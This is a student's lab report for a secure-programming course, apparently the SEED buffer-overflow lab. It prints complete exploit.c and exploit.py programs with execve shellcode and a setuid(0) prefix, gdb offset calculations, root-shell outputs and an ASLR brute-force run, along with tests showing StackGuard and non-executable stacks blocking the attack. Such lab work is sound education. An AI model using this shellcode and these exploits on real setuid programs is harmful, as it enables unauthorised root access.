Spring 2020

CSE-5382-001 – Secure Programming

Homework Assignment 3 – Buffer Overflow

Name	UTA ID
Goutami Padmanabhan	1001669338

2.1 Turning Off Countermeasures:

Address Space Randomization:

In order to disable the feature of Ubuntu and several other Linux-based systems that uses address space randomization to randomize the starting address of heap and stack, we use the below command. By doing this we enable the attacker to attack the victim user using Buffer overflow attack.

```
[02/26/20]seed@VM:~$ sudo sysctl -w kernel.randomize_va
_space=0
kernel.randomize_va_space = 0
[02/26/20]seed@VM:~$ 
```

Configuring /bin/sh:

To disable the countermeasure available in dash that prevents itself from being executed in a Set-UID process, we create a symbolic link for /bin/sh to point to /bin/zsh

```
[02/26/20]seed@VM:~$ ls -lrt /bin/sh
lrwxrwxrwx 1 root root 9 Feb 26 01:14 /bin/sh -> /bin/d
ash
[02/26/20]seed@VM:~$ sudo rm /bin/sh
[02/26/20]seed@VM:~$ sudo ln -s /bin/zsh /bin/sh
[02/26/20]seed@VM:~$ ls -lrt /bin/sh
lrwxrwxrwx 1 root root 8 Feb 26 16:55 /bin/sh -> /bin/z
sh
[02/26/20]seed@VM:~$
```

This allows the effective user ID to be the same instead of dropping its privilege to the process's real user ID.

2.2 Task 1: Running Shellcode:

The purpose of this task is to launch a shell by executing a shellcode stored in a buffer. The program given is created. The privileges for the program are changed for execution and compiled and executed.

```
[02/26/20]seed@VM:~$ vi call_shellcode.c
[02/26/20]seed@VM:~$ ls -lrt call_shellcode.c
-rw-rw-r-- 1 seed seed 1012 Feb 26 17:16 call_shellcode
.c
[02/26/20]seed@VM:~$ chmod 755 call_shellcode.c
[02/26/20]seed@VM:~$ ls -lrt call_shellcode.c
-rwxr-xr-x 1 seed seed 1012 Feb 26 17:16 call_shellcode
.c
[02/26/20]seed@VM:~$ gcc -z execstack -o call_shellcode
 call_shellcode.c
[02/26/20]seed@VM:~$ ./call_shellcode
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),
24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128
(sambashare)
$ pwd
/home/seed
$ ls
Customization      myprog.cgi
Desktop            myprog.cgi.1
Documents          myprog.cgi.2
Downloads          myprog.cgi.3
```

Conclusion: We infer that the shellcode is executed, and we can launch a shell using code stored in buffer.

2.3 The Vulnerable Program:

The purpose of this task is to exploit the buffer overflow vulnerability in the program given. The given program stack.c is created and executed using execstack to turn off the StackGuard and the non-executable stack protections.

```
[02/26/20]seed@VM:~$ vi stack.c
[02/26/20]seed@VM:~$ gcc -o stack -z execstack -fno-sta
ck-protector -g stack.c
[02/26/20]seed@VM:~$ sudo chown root stack
[02/26/20]seed@VM:~$ sudo chmod 4755 stack
[02/26/20]seed@VM:~$ ls -lrt stack
-rwsr-xr-x 1 root seed 9764 Feb 26 01:45 stack
[02/26/20]seed@VM:~$ 
```

We should make the program root owned and then change the privileges to the Set UID program.

```
[02/26/20]seed@VM:~$ vi stack.c
[02/26/20]seed@VM:~$ gcc -o stack -z execstack -fno-sta
ck-protector -g stack.c
[02/26/20]seed@VM:~$ sudo chown root stack
[02/26/20]seed@VM:~$ sudo chmod 4755 stack
[02/26/20]seed@VM:~$ ls -lrt stack
-rwsr-xr-x 1 root seed 9764 Feb 26 01:45 stack
[02/26/20]seed@VM:~$ gdb stack
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.
org/licenses/gpl.html>
This is free software: you are free to change and redis
tribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
```

A GDB debugger is used to debug the program stack.c. We do this to find the memory address of the string and replace it with another address.

```
[02/26/20]seed@VM:~$ gdb stack
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.
org/licenses/gpl.html>
This is free software: you are free to change and redis
tribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources o
nline at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "
word"...
```

Once the debugger is opened, we must create a breakpoint in order to debug the program.

We create a breakpoint in the main function present in the program. Once the breakpoint is set, we run the program until it reaches its breakpoint.

```
word"...
Reading symbols from stack...done.
gdb-peda$ b main
Breakpoint 1 at 0x80484ee: file stack.c, line 18.
gdb-peda$ r
Starting program: /home/seed/stack

[----------------------------------registers-----------
-----------------------]
EAX: 0xb7727dbc --> 0xbf90ad9c --> 0xbf90c02c ("XDG_VTN
R=7")
EBX: 0x0
ECX: 0xbf90ad00 --> 0x1
EDX: 0xbf90ad24 --> 0x0
ESI: 0xb7726000 --> 0x1b1db0
EDI: 0xb7726000 --> 0x1b1db0
EBP: 0xbf90ace8 --> 0x0
ESP: 0xbf90aad0 --> 0xb77472e4 --> 0x0
EIP: 0x80484ee (<main+20>:      sub    esp,0x8)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTER
RUPT direction overflow)
[-------------------------------------code-------------
```

Once the breakpoint is reached until the main function, we debug the program line by line by executing one line at a time.

```
-------------------------]
Legend: code, data, rodata, value

Breakpoint 1, main (argc=0x1, argv=0xbf90ad94)
    at stack.c:18
18        badfile = fopen("badfile", "r");
gdb-peda$ n

[----------------------------------registers-----------
-------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0xb7726bcc --> 0x21000
EDX: 0x0
ESI: 0xb7726000 --> 0x1b1db0
EDI: 0xb7726000 --> 0x1b1db0
EBP: 0xbf90ace8 --> 0x0
ESP: 0xbf90aad0 --> 0xb77472e4 --> 0x0
EIP: 0x8048506 (<main+44>:       push   DWORD PTR [ebp-0
xc])
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTER
RUPT direction overflow)
```

The command p /x &str is used to find the address of the string str.

```
[------------------------------------------------------
-------------------------]
Legend: code, data, rodata, value
19        fread(str, sizeof(char), 517, badfile);
gdb-peda$ p /x &str
$1 = 0xbfffeb67
gdb-peda$ disass bof
Dump of assembler code for function bof:
   0x080484bb <+0>:     push   ebp
   0x080484bc <+1>:     mov    ebp,esp
   0x080484be <+3>:     sub    esp,0x28
   0x080484c1 <+6>:     sub    esp,0x8
   0x080484c4 <+9>:     push   DWORD PTR [ebp+0x8]
   0x080484c7 <+12>:    lea    eax,[ebp-0x20]
   0x080484ca <+15>:    push   eax
   0x080484cb <+16>:    call   0x8048370 <strcpy@plt>
   0x080484d0 <+21>:    add    esp,0x10
   0x080484d3 <+24>:    mov    eax,0x1
   0x080484d8 <+29>:    leave
   0x080484d9 <+30>:    ret
End of assembler dump.
gdb-peda$ q
```

The address of the string is hexadecimal. We can change the address to decimal and add 200 to it to get the decimal value which is in turn converted into hexadecimal address and then replaced.

When I googled, I found the website https://www.rapidtables.com/convert/number/hex-to-decimal.html which converts hexadecimal to decimal and vice versa.

Hexadecimal address: 0xbfffeb67 changed to Decimal address: 3221220199

Adding 200 to Decimal address: 3221220199+200 = 3221220399

Decimal address: 3221220399 changed back to Hexadecimal address: BFFFEC2F

Conclusion: We infer that if we create the contents for badfile such that when the vulnerable program copies the contents into its buffer, a root shell is spawned.

2.4 Task 2: Exploiting the Vulnerability

The purpose of this task is to exploit the vulnerability and by making use of this code our goal is to construct contents for badfile. The program given exploit.c is created

```
[02/26/20]seed@VM:~$ cat exploit.c
/* exploit.c */

/* A program that creates a file containing code for la
unching shell */

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[] =
"\x31\xc0" /* Line 1: xorl %eax,%eax */
"\x50" /* Line 2: pushl %eax */
"\x68""//sh" /* Line 3: pushl $0x68732f2f */
"\x68""/bin" /* Line 4: pushl $0x6e69622f */
"\x89\xe3" /* Line 5: movl %esp,%ebx */
"\x50" /* Line 6: pushl %eax */
"\x53" /* Line 7: pushl %ebx */
"\x89\xe1" /* Line 8: movl %esp,%ecx */
"\x99" /* Line 9: cdq */
"\xb0\x0b" /* Line 10: movb $0x0b,%al */
"\xcd\x80" /* Line 11: int $0x80 */
;
```

The program exploit.c is filled with the buffer's appropriate content. The buffer address is filled with the string address in the reverse order which we found in the previous task.

```
"\x99" /* Line 9: cdq */
"\xb0\x0b" /* Line 10: movb $0x0b,%al */
"\xcd\x80" /* Line 11: int $0x80 */
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate content
s here */
strcpy(buffer+200,shellcode);
strcpy(buffer+0x24,"\x2f\xec\xff\xbf");
/* ... Put your code here ... */
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
```

Program exploit.c is then compiled and run. The stack is also run after this.

```
[02/26/20]seed@VM:~$ vi exploit.c
[02/26/20]seed@VM:~$ gcc -Wall exploit.c -o exploit
exploit.c:21:6: warning: return type of 'main' is not '
int' [-Wmain]
 void main(int argc, char **argv)
      ^

[02/26/20]seed@VM:~$ ./exploit
[02/26/20]seed@VM:~$ ./stack
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(
seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113
(lpadmin),128(sambashare)
# ls
Customization      myprog.cgi
```

Conclusion: We conclude that we can create the contents of the badfile. If we run the program stack, the exploit is implemented, and the root shell is spawned.

Python Version:

For the python version, first we make sure that the address randomization is switched off. The copy of the stack vulnerable program is given in screenshot.

```
/* Vunlerable program: stack.c */
/* You can get this program from the lab's website */

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[100];
/* The following statement has a buffer overflow proble
m */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[400];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 300, badfile);
bof(str);
"stack.c" 23L, 472C                             1,1           Top
```

We then compile the stack program and create the badfile. We use the debugger to debug stack and find the buffer base address, ebp, and return address, &buffer.

```
[02/28/20]seed@VM:~$ sudo /sbin/sysctl -w kernel.random
ize_va_space=0
kernel.randomize_va_space = 0
[02/28/20]seed@VM:~$ gcc -z execstack -fno-stack-protec
tor -g -o stack stack.c
[02/28/20]seed@VM:~$ touch badfile
[02/28/20]seed@VM:~$ gdb stack
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.
org/licenses/gpl.html>
This is free software: you are free to change and redis
tribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources o
nline at:
```

We create a breakpoint in function bof and run the program line by line after that.

```
nline at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "
word"...
Reading symbols from stack...done.
gdb-peda$ b bof
Breakpoint 1 at 0x80484c1: file stack.c, line 11.
gdb-peda$ r
Starting program: /home/seed/stack
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/li
bthread_db.so.1".

[----------------------------------registers-----------
-------------------------]
EAX: 0xbfffebdc --> 0x90909090
EBX: 0x0
ECX: 0x804fb20 --> 0x0
EDX: 0x12c
ESI: 0xb7f1c000 --> 0x1b1db0
EDI: 0xb7f1c000 --> 0x1b1db0
```

We then find the addresses of $ebp and &buffer. The distance between the buffer base address and the return address is found to be 108. Therefore, the distance is 108+4=112

```
9>:     )
0012| 0xbfffeb4c --> 0xb7f1c000 --> 0x1b1db0
0016| 0xbfffeb50 --> 0x804fa88 --> 0xfbad2488
0020| 0xbfffeb54 --> 0x12c
0024| 0xbfffeb58 --> 0xbfffebb8 --> 0xbfffed78 --> 0x0
0028| 0xbfffeb5c --> 0xb7dd533e (<__GI__IO_sgetn+30>: )
[-------------------------------------------------------
------------------------]
Legend: code, data, rodata, value

Breakpoint 1, bof (
    str=0xbfffebdc '\220' <repeats 112 times>, "\060\35
4\377\277", '\220' <repeats 84 times>...)
    at stack.c:11
11      strcpy(buffer, str);
gdb-peda$ p $ebp
$1 = (void *) 0xbfffebb8
gdb-peda$ p &buffer
$2 = (char (*)[100]) 0xbfffeb4c
gdb-peda$ p/d 0xbfffebb8 - 0xbfffeb4c
$3 = 108
gdb-peda$ q
```

The screenshot of the program exploit.py is given.

```
#!/usr/bin/python3

import sys

shellcode= (
        "\x31\xc0" # xorl %eax,%eax
        "\x50" # pushl %eax
        "\x68""//sh" # pushl $0x68732f2f
        "\x68""/bin" # pushl $0x6e69622f
        "\x89\xe3" # movl %esp,%ebx
        "\x50" # pushl %eax
        "\x53" # pushl %ebx
        "\x89\xe1" # movl %esp,%ecx
        "\x99" # cdq
        "\xb0\x0b" # movb $0x0b,%al
        "\xcd\x80" # int $0x80
        "\x00"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(300))
                                        1,1           Top
```

```
        "\x99" # cdq
        "\xb0\x0b" # movb $0x0b,%al
        "\xcd\x80" # int $0x80
        "\x00"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(300))

# Put the shellcode at the end
start = 300 - len(shellcode)
content[start:] = shellcode

# Put the address at offset 112
ret = 0xbfffebb8 + 120
content[112:116] = (ret).to_bytes(4,byteorder='little')

# Write the content to badfile
file = open("badfile", "wb")
file.write(content)
file.close()
                                        34,1          Bot
```

```
[02/28/20]seed@VM:~$ vi exploit.py
[02/28/20]seed@VM:~$ gcc -o stack -z execstack -fno-sta
ck-protector stack.c
[02/28/20]seed@VM:~$ sudo chown root stack
[02/28/20]seed@VM:~$ sudo chmod 4755 stack
[02/28/20]seed@VM:~$ ls -lrt stack
-rwsr-xr-x 1 root seed 7476 Feb 28 17:10 stack
[02/28/20]seed@VM:~$ chmod u+x exploit.py
[02/28/20]seed@VM:~$ exploit.py
[02/28/20]seed@VM:~$ ./stack
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(
seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113
(lpadmin),128(sambashare)
#
```

Conclusion: We compile the stack vulnerable program making it executable, execstack option. The ownership of stack is changed to root and it is changed to set UID program. We then execute the python program exploit.py and then the stack. The root shell is spawned. Thus, by finding the offset distance between the base of the buffer and return address and finding the Find the address to place the shellcode, we can easily attack the user and get to the root shell.

2.5 Task 3: Defeating dash's Countermeasure:

The purpose of this task is to see how the countermeasure in dash works and how to defeat it using the system call setuid. We make a symbolic link for /bin/sh to point to /bin/dash

```
[02/26/20]seed@VM:~$ ls -lrt /bin/sh
lrwxrwxrwx 1 root root 9 Feb 21 02:23 /bin/sh -> /bin/b
ash
[02/26/20]seed@VM:~$ sudo rm /bin/sh
[02/26/20]seed@VM:~$ sudo ln -s /bin/dash /bin/sh
[02/26/20]seed@VM:~$ ls -lrt /bin/sh
lrwxrwxrwx 1 root root 9 Feb 26 01:14 /bin/sh -> /bin/d
ash
[02/26/20]seed@VM:~$ vi dash_shell_test.c
[02/26/20]seed@VM:~$ gcc dash_shell_test.c -o dash_shel
l_test
```

The program dash_shell_test that is given is created. We compile the program and change the ownership to root. We run the program as root.

```
[02/26/20]seed@VM:~$ ls -lrt dash_shell_test.c
-rw-rw-r-- 1 seed seed 209 Feb 26 01:16 dash_shell_test
.c
[02/26/20]seed@VM:~$ sudo chown root dash_shell_test
[02/26/20]seed@VM:~$ sudo chmod 4755 dash_shell_test
[02/26/20]seed@VM:~$ ls -lrt dash_shell_test
-rwsr-xr-x 1 root seed 7404 Feb 26 01:17 dash_shell_tes
t
[02/26/20]seed@VM:~$ ./dash_shell_test
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),
24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128
(sambashare)
$ 
```

Conclusion: We observe that we are not able to spawn the root shell when we comment the setuid(0) and run the vulnerable program.

After uncommenting the setuid(0), we compile and change the ownership to root and run the program.

```
[02/26/20]seed@VM:~$ vi dash_shell_test.c
[02/26/20]seed@VM:~$ gcc dash_shell_test.c -o dash_shel
l_test
[02/26/20]seed@VM:~$ ls -lrt dash_shell_test
-rwxrwxr-x 1 seed seed 7444 Feb 26 01:26 dash_shell_tes
t
[02/26/20]seed@VM:~$ gcc dash_shell_test.c -o dash_shel
l_test
[02/26/20]seed@VM:~$ sudo chown root dash_shell_test
[02/26/20]seed@VM:~$ sudo chmod 4755 dash_shell_test
[02/26/20]seed@VM:~$ ls -lrt dash_shell_test
-rwsr-xr-x 1 root seed 7444 Feb 26 01:26 dash_shell_tes
t
[02/26/20]seed@VM:~$ ./dash_shell_test
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(
cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sa
mbashare)
# 
```

Conclusion: We observe that we are able to spawn the root shell when we uncomment the setuid(0) and run the vulnerable program.

exploit.c program is modified to add assembly code at the beginning of shellcode for invoking system call. First 4 lines are added with the assembly code.

```
[02/26/20]seed@VM:~$ vi exploit.c
[02/26/20]seed@VM:~$ cat exploit.c
/* exploit.c */

/* A program that creates a file containing code for la
unching shell */

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[] =
"\x31\xc0" /* Line 1: xorl %eax,%eax */
"\x31\xdb" /* Line 2: xorl %ebx,%ebx */
"\xb0\xd5" /* Line 3: movb $0xd5,%al */
"\xcd\x80" /* Line 4: int $0x80 */
// ---- The code below is the same as the one in Task 2
 ---
"\x31\xc0" /* Line 1: xorl %eax,%eax */
"\x50" /* Line 2: pushl %eax */
"\x68""//sh" /* Line 3: pushl $0x68732f2f */
```

```
"\x99" /* Line 9: cdq */
"\xb0\x0b" /* Line 10: movb $0x0b,%al */
"\xcd\x80" /* Line 11: int $0x80 */
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate content
s here */
strcpy(buffer+200,shellcode);
strcpy(buffer+0x24,"\x2f\xec\xff\xbf");
/* ... Put your code here ... */
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

[02/26/20]seed@VM:~$ 
```

```
[02/26/20]seed@VM:~$ gcc -Wall exploit.c -o exploit
exploit.c:26:6: warning: return type of ‘main’ is not ‘
int’ [-Wmain]
 void main(int argc, char **argv)
      ^
[02/26/20]seed@VM:~$ ./exploit
[02/26/20]seed@VM:~$ ./stack
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(
cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sa
mbashare)
# pwd
/home/seed
# ls
Customization        myprog.cgi.1
Desktop              myprog.cgi.2
Documents            myprog.cgi.3
Downloads            myprog.cgi.4
Music                parentenv.txt
Pictures             peda-session-stack.txt
Public               retlib
Templates            retlib.c
```

Conclusion: When the program exploit.c is compiled and run badfile is created and when the stack is run, the root shell is spawned. We execute the system() call before executing execve() by writing the address of system call number using assembly code. We attempt the attack on the vulnerable program by linking /bin/sh to /bin/dash and we succeed. We get access to root shell.

2.6 Task 4: Defeating Address Randomization:

The purpose of this task is to try to defeat the address randomization countermeasure that has been built in Linux systems. So, we make the address randomization space to 2 as given and run an infinite loop of the shell script hoping that one of the addresses will match the string address and the vulnerable program could be exploited to get into the root shell. The stack was compiled gcc -o stack -z execstack -fno-stack-protector stack.c and then the shell script was run.

```
[02/27/20]seed@VM:~$ sudo /sbin/sysctl -w kernel.random
ize_va_space=2
kernel.randomize_va_space = 2
[02/27/20]seed@VM:~$ ./task4.sh
```

```
The program has been running 196592 times so far.
5 minutes and 27 seconds elapsed.
The program has been running 196593 times so far.
5 minutes and 27 seconds elapsed.
The program has been running 196594 times so far.
5 minutes and 27 seconds elapsed.
The program has been running 196595 times so far.
5 minutes and 27 seconds elapsed.
The program has been running 196596 times so far.
5 minutes and 27 seconds elapsed.
The program has been running 196597 times so far.
5 minutes and 27 seconds elapsed.
The program has been running 196598 times so far.
5 minutes and 27 seconds elapsed.
The program has been running 196599 times so far.
5 minutes and 27 seconds elapsed.
The program has been running 196600 times so far.
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(
cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sa
mbashare)
# 
```

Conclusion: We observe that when the address randomization space is set to 2 and the stack is made executable, the program becomes vulnerable and the shell script keeps running the vulnerable program until it luckily reaches the root shell. If the attacker is lucky enough, they can get to root shell soon.

2.7 Task 5: Turn on the StackGuard Protection:

The purpose of this task is to find out if we can attack using the vulnerable program by turning on the StackGuard. We turn off the address randomization first. We ensure that we are pointing the shell to /bin/zsh.

```
[02/26/20]seed@VM:~$ sudo sysctl -w kernel.randomize_va
_space=0
kernel.randomize_va_space = 0
[02/26/20]seed@VM:~$ ls -lrt /bin/sh
lrwxrwxrwx 1 root root 9 Feb 26 18:52 /bin/sh -> /bin/d
ash
[02/26/20]seed@VM:~$ sudo rm /bin/sh
[02/26/20]seed@VM:~$ sudo ln -s /bin/zsh /bin/sh
[02/26/20]seed@VM:~$ ls -lrt /bin/sh
lrwxrwxrwx 1 root root 8 Feb 26 19:04 /bin/sh -> /bin/z
sh
[02/26/20]seed@VM:~$ ls -lrt stack.c
-rw-rw-r-- 1 seed seed 471 Feb 26 18:16 stack.c
[02/26/20]seed@VM:~$ gcc -o stack -z execstack stack.c
[02/26/20]seed@VM:~$ sudo chown root stack
[02/26/20]seed@VM:~$ sudo chmod 4755 stack
[02/26/20]seed@VM:~$ ls -lrt stack
-rwsr-xr-x 1 root seed 7524 Feb 26 19:06 stack
[02/26/20]seed@VM:~$ ./stack
*** stack smashing detected ***: ./stack terminated
Aborted
[02/26/20]seed@VM:~$
```

We compile the vulnerable program with executable stack, execstack and remove the StackGuard and compile without -fno-stack-protector option. The ownership of stack is changed to root and given the privileges to execute.

Conclusion: When we execute task 1 again, we observe that when we run vulnerable program stack, the program is terminated, and stack smashing is detected. We do not get access to root shell when StackGuard protection is turned on.

2.8 Task 6: Turn on the Non-executable Stack Protection

The purpose of this task is to find out if we can attack using the vulnerable program with noexecstack option. We turn off the address randomization first. Then we compile the vulnerable stack program with noexecstack option. The ownership of stack is changed to root and given privileges to execute. The exploit is run to create badfile and we launch the attack on the vulnerable program by running stack.

```
[02/26/20]seed@VM:~$ sudo sysctl -w kernel.randomize_va
_space=0
kernel.randomize_va_space = 0
[02/26/20]seed@VM:~$ gcc -o stack -fno-stack-protector
-z noexecstack stack.c
[02/26/20]seed@VM:~$ ls -lrt stack
-rwxrwxr-x 1 seed seed 7476 Feb 26 19:14 stack
[02/26/20]seed@VM:~$ sudo chown root stack
[02/26/20]seed@VM:~$ sudo chmod 4755 stack
[02/26/20]seed@VM:~$ ls -lrt stack
-rwsr-xr-x 1 root seed 7476 Feb 26 19:14 stack
```

We compile and run exploit.c and then run stack here

```
[02/26/20]seed@VM:~$ vi exploit.c
[02/26/20]seed@VM:~$ gcc -Wall exploit.c -o exploit
exploit.c:26:6: warning: return type of ‘main’ is not ‘
int’ [-Wmain]
 void main(int argc, char **argv)
      ^
[02/26/20]seed@VM:~$ ./exploit
[02/26/20]seed@VM:~$ ./stack
Segmentation fault
[02/26/20]seed@VM:~$ 
```

Conclusion: We observe that we are not able to attack the vulnerable program because we compiled the stack program with noexecstack making the program not executable when in case of attack. We get a Segmentation fault. We are unable to attack the user by turning on the non-executable stack protection.

References:

https://github.com/aasthayadav/CompSecAttackLabs/blob/master/2.%20Buffer%20Overflow/Lab%202%20Buffer%20Overflow.pdf

https://github.com/firmianay/Life-long-Learner/blob/master/SEED-labs/buffer-overflow-vulnerability-lab.md

https://github.com/Catalyzator/SEEDlab/blob/master/BufferOverflowVulnerability.pdf